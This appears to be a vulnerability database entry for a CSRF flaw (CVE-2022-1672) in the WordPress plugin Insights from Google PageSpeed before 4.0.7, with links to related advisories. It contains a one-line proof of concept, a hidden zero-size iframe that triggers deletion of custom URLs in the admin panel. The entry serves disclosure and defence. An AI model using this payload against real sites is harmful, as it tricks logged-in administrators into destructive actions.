Lucene search
Daniel RufWPEX-ID:5C5955D7-24F0-45E6-9C27-78EF50446DADHistoryJun 27, 2022 - 12:00 a.m.
Insights from Google PageSpeed < 4.0.7 - Multiple CSRF
2022-06-2700:00:00
Daniel Ruf
89
0.001 Low
EPSS
Percentile
43.5%
The plugin does not verify for CSRF before doing various actions such as deleting Custom URLs, which could allow attackers to make a logged in admin perform such actions via CSRF attacks
<iframe src="https://example.com/wp-admin/tools.php?page=google-pagespeed-insights&render=custom-urls&action=delete&page_id=1" width="0" height="0" frameborder="0"></iframe>Related
patchstack
patchstack
prion
prion
Cross site request forgery (csrf)
2022-07-17 11:15:00
nvd
nvd
CVE-2022-1672
2022-07-17 11:15:08
wpvulndb
wpvulndb
Insights from Google PageSpeed < 4.0.7 - Multiple CSRF
2022-06-27 00:00:00
cvelist
cvelist
CVE-2022-1672 Insights from Google PageSpeed < 4.0.7 - Multiple CSRF
2022-07-17 10:35:33
cnvd
cnvd
WordPress plugin Insights from Google PageSpeed跨站请求伪造漏洞
2022-07-19 00:00:00
cve
cve
CVE-2022-1672
2022-07-17 11:15:08